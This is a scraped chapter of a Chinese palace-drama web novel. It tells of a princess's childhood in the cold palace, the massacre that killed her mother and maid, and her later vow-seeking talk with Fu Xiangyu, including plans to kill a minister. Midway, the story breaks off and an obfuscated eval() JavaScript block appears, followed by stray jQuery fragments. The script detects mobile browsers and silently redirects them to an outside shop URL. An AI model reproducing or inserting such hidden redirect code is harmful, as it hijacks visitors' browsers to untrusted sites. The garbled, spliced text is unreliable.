文趣网 > 其他小说 > 豢养太傅失败以后 > 5. 冷宫
    冷宫里的日子没那么好过,却也没那么难过。

    因为阿娘一直都在身边。

    萧晚卿十多年来都经常坐在檐下等阿娘,安安静静地等着阿娘。

    那里的一切都是灰扑扑的。

    墙是灰的,砖是灰的,连落下来的雨都像是灰色的。屋顶的瓦片缺了好几块,所幸不会漏雨,情形倒也没那么坏。门窗上的漆早就剥落干净,露出底下发黑的木头,总是关不严实。

    只有头顶的一方天空是干净的,蓝得透明。

    除了阿娘和如眉姑姑,萧晚卿没别的玩伴。

    廊下砖缝里偶尔会钻出些小草来,绵绵密密,萧晚卿就会同这些草说话。

    小孩子,口齿又不清晰,一句话只能翻来覆去说。

    她小时候心窝那里就病病的,时常一口气喘不上来。长大后心窝倒是不疼了,反而时常容易暴躁。

    在冷宫里,这些都不算什么。

    这里有半疯的妃子,有饿得快死掉的奴仆。

    他们看到被打扮地很是漂亮的萧晚卿,麻木的双眼也会突然流光溢彩起来,也只是一瞬,不多时还是会重新被麻木覆盖,嘴唇微微张着,留下一句:“不过是等死的命。”

    一个失宠的妃子和她被厌弃的孩子,没有什么指望的。

    萧晚卿一如既往的干净,一如既往的舒服。

    她睁着双目,很是享受阿娘替她束发。

    记忆里,阿娘是天底下最温柔的人,和扶相与的温柔不太一样。

    阿娘话多,尤其是给她梳头的时候,最为欢快,像个鸟儿一样叽叽喳喳。

    “阿晚的头发真好啊,又黑又亮,摸上去像缎子似的。”

    阿娘站在她身后,手里握着那把断了几个齿的桃木梳,从发顶一下一下地往下梳,动作轻得像怕弄疼她。

    梳到发尾时,阿娘会停下来,用指尖把打结的地方一点一点捻开,不急不燥。

    透过那面磨得发花的铜镜,萧晚卿能看到阿娘的脸。

    阿娘挑起一缕头发,忽而贴近她,笑语晏晏起来:“还是这样最衬我的阿晚,我们阿晚梳这个最好看。”

    哪怕只有几根旧簪子和碎布条,阿娘也能替她挽出漂亮的发髻。她一边梳一边哼着不成调的小曲儿,眉眼弯弯的,像檐下那株开了花的石榴树。

    红艳艳的,好看极了。

    “我的阿晚一定是天底下最漂亮的姑娘,”阿娘说着,声音里全是笑意,“也一定会是天底下最快——”

    话到这里,忽然停了。

    萧晚卿偏过头,很是不理解阿娘为什么不说话了。

    她看到阿娘的手还搭在她的发间,桃木梳却悬在半空,一动不动。

    铜镜里,阿娘的笑容还挂在脸上,脸上却有什么东西在闪,亮晶晶的,像碎掉的珠子。

    萧晚卿的心里忽然闷闷的,像是被什么堵住了,她不想让阿娘伤心。

    于是她主动补齐阿娘后面的话:“阿晚会是天底下最快乐的姑娘。”

    接着萧晚卿转过身来,仰起脸看着阿娘,认认真真地问:“所以阿娘,你会一直陪着我吗?”

    阿娘没有回答,她蹲下来。

    把萧晚卿搂进怀里,搂得很紧很紧,肩膀一耸一耸的。

    萧晚卿感觉脖子那里湿了,温热的,一滴一滴地往下淌。

    她愣住了,阿娘哭了。

    阿娘在哭。

    萧晚卿不理解,她看着阿娘哭,眼眶也热了,两行眼泪也从眼窝中掉出来。

    顺着脸颊往下流,咸咸的,涩涩的。

    难道她不快乐吗?

    可她现在很快乐啊。

    萧晚卿不知道为什么阿娘会不高兴,她有阿娘,阿娘也有她。

    她们都该开开心心的。

    直到后来的一场大火,它把所有东西都毁掉了。

    蒙面的黑衣人翻墙而来,他们拿着带血的长剑直奔院落,见人就砍。几个才半人高的宫女还没出声就栽倒在了他们的剑下。

    如眉姑姑护着萧晚卿,一路奔逃,她满脸是血,对着小主子凄然一笑:“小公主,快点逃吧。”

    接着将萧晚卿塞进了条布满荒草的小道,她欲要往另一个方向去。

    “阿娘呢,”萧晚卿木然问道,脑子里就像灌了浆糊,怎么都转不动,她伸出手攥住如眉的衣袖,“阿——”

    如眉知道同萧晚卿一时半会解释不清,神情骤然痛苦起来,哽咽着说出几句:“姑……娘,姑娘不在了。所以小公主,快走吧。”

    一定要离这里越来越远。

    萧晚卿依旧是不知所措。

    明明方才阿娘还在给她梳头呢,还在哼着曲儿呢,怎么就不在了呢?

    如眉没再看她,转身朝西面跑去,刚到,一把明晃晃的剑就从胸口穿过。

    她直挺挺倒下,倒下之时还与萧晚卿四目相对,虚脱地做了个口型“走”。

    萧晚卿捂着嘴,将哭声和惊恐一道掐灭。

    有的事情记得不太真切了,即便发生在四年前,萧晚卿还是不记得自己是怎么顺着小道还有数不清的洞口逃出来的。

    她能听清心脏急促跳动的声音,像是有人在她的胸腔里擂鼓。

    萧晚卿实在是跑不动了,肺里跟着火似的,每一口气吸进去都带着灼烧的痛。她的喉咙发紧,嘴唇干裂,耳朵里还在嗡嗡地响,只能听见自己的喘息声和心跳声纠缠在一起,乱成一团。

    后来腿也软了,膝盖磕在泥面上,疼得她眼前发黑。于是萧晚卿趴下去,用手继续爬。

    指甲断了,掌心也磨破了,泥土和碎石子嵌进肉里,每一寸皮肤都在尖叫。

    她不敢停,同样不能停,身后那片火光还在烧,把半边天都染成了红色。

    靠在一处废弃的砖瓦旁,萧晚卿终于停了下来。她的衣裳已经看不出原有的颜色。

    灰的、黑的、红的,全都混在一起,像一块被拧过的脏抹布。袖子被烧掉半截,露出底下红肿的手臂,上面全是水泡。裙摆也被撕成几条,散着线条,沾满了泥巴和草屑。

    萧晚卿的脸上更疼。

    扶相与就是在这种情况下遇见的萧晚卿。

    少年的眼尾微微上挑,瞳孔从平静再到瑟缩,还有满满的不可置信。

    月光下,他站在萧晚卿的面前,缓缓蹲下来,似乎想要看清楚她手上的伤。

    那张脸离萧晚卿越来越近,渐渐地,她闻到了他身上那股令人很是心安的兰花香。

    记忆突然和眼前交叠在一起。

    萧晚卿原本站着,她弯下腰来,同他平视,近到呼吸交缠在一起,扶相与的容貌逐渐和四年前的重合。

    同样的眉眼,同样的神情,像是这世上唯一没变过的东西。

    鬼使神差般,萧晚卿不由自主地吐出那句话:“扶相与,你会永远陪着我吗?”

    不是命令,不是试探,也不是伪装。

    我要你——

    长、长、久、久、地、陪、着、我。

    不准离开我,不许抛下我。

    要一辈子只是我一个人的。

    你会吗?

    我只想要你,我只想和你一个人,我也只想和你在一起。

    萧晚卿很是诚挚,一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527239|203567||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    双水色双瞳里清晰倒映出扶相与并不平静的面庞。

    她的音调同样平稳。就像小时候问阿娘一样,问阿娘能不能永远同她在一起那般。

    萧晚卿望着他,在认认真真地,等待一个回答。

    不算长久的沉默。

    扶相与显然没有料到萧晚卿会突然问这,他轻轻咳嗽了声,侧脸白得近乎透明,颧骨处偶尔会泛起一股青色。

    可他抬眼看她的时候,依旧是温温柔柔得:“我会。”

    眉眼间不经意流露出些许愧色,不过很快又被扶相与给掩饰下去。

    他的双目干净得像山涧里的水,一眼就能望到底,底下全是不加掩饰的松快,只是自己还没有发觉到。

    萧晚卿的眼睛忽然亮了,她的唇微微张开,想说什么,又被咽了回去,只剩眼尾的弧度一点点弯起来,弯成一弯新月。

    以为是扶相与忧心自己的病,脸上的笑一点都收不住,她捂住扶相与冰凉的双手,凑到他面前:“攸宁,你的病我们一定会找到人给治好。”

    如果他们治不好,就把他们的头全都砍掉。

    眼波流转间,萧晚卿整个人瞬间鲜活起来,透露出与先前截然不同的神情,取而代之的是一层薄薄的欢喜。

    扶相与猝然被萧晚卿贴面,瞧见她俏生生的脸,不停眨巴着的双眼,还有像蝴蝶翅膀一样打着拍子的长睫,心骤然一跳。

    他有些不自然,整个人僵住,耳廓一寸一寸地红起来,明明面上没红,却烧得他不知所措。

    手抬起来,像是想碰一碰自己的脸,又像是想碰一碰萧晚卿,最终哪儿都没去,又给收了回来。

    萧晚卿很是欢脱,接着握住扶相与的双手。

    扶相与低下头,怕去瞧见萧晚卿脸上愈发明媚的神色,他盯着萧晚卿的双手,手掌翻过来,出乎意料的宽大,一只手便能握住萧晚卿的两个手腕。

    感受到掌心的凉意,他抬头看向窗外。

    屋外薄雪覆地,冷得鸟兽都不好受。

    阿晚从外面来的时候也不知道多加件衣服。

    扶相与抬起头,约莫估量出萧晚卿在想什么,无奈地摇摇头:“阿晚,能少砍点别人的头吗?”

    萧晚卿总是会被扶相与戳穿自己的心思。

    她闷闷问道:“为什么?”

    扶相与低头看着萧晚卿的手掌,不想让她看清他眼底的情愫:“因为砍别人头砍得太多了,不好当一个好皇帝。”

    萧晚卿略作沉思:“好,我尽量。”

    她顿了片刻,突然想起正事来,于是弯下腰将扶相与散落的头发向后拨:“攸宁,最近的药别喝了,我会遣人来送新的药。”

    扶相与看了眼萧晚卿,虽然不知道为什么,但想起最近阿晚很是繁忙,便也没去追问。

    药是有什么问题吗,他喝起来只觉得同以往的比,更涩。

    “我想杀了路遮,他总是逼着我去立凤君,我不喜欢,”萧晚卿摇着头,甜甜笑起来,“不如我们的婚宴就订在两月后,借由婚宴好解决他。”

    这件事先前萧晚卿就告诉过他,只不过扶相与没有想到会这么快。

    萧晚卿凑到他跟前,越发近了:“两个月,正好也够你养身体。”

    “攸宁觉得如何?”

    “好。”

    扶相与却有些意兴阑珊,他像是想到了什么,强装起精神来,看着萧晚卿,随即露出一个很是释怀的笑容。

    笑容里很是勉强,像被人揉皱了那般,慢慢地也失去了颜色。

    “两个月后,我们‘成亲’吧。”

    扶相与的指尖在颤。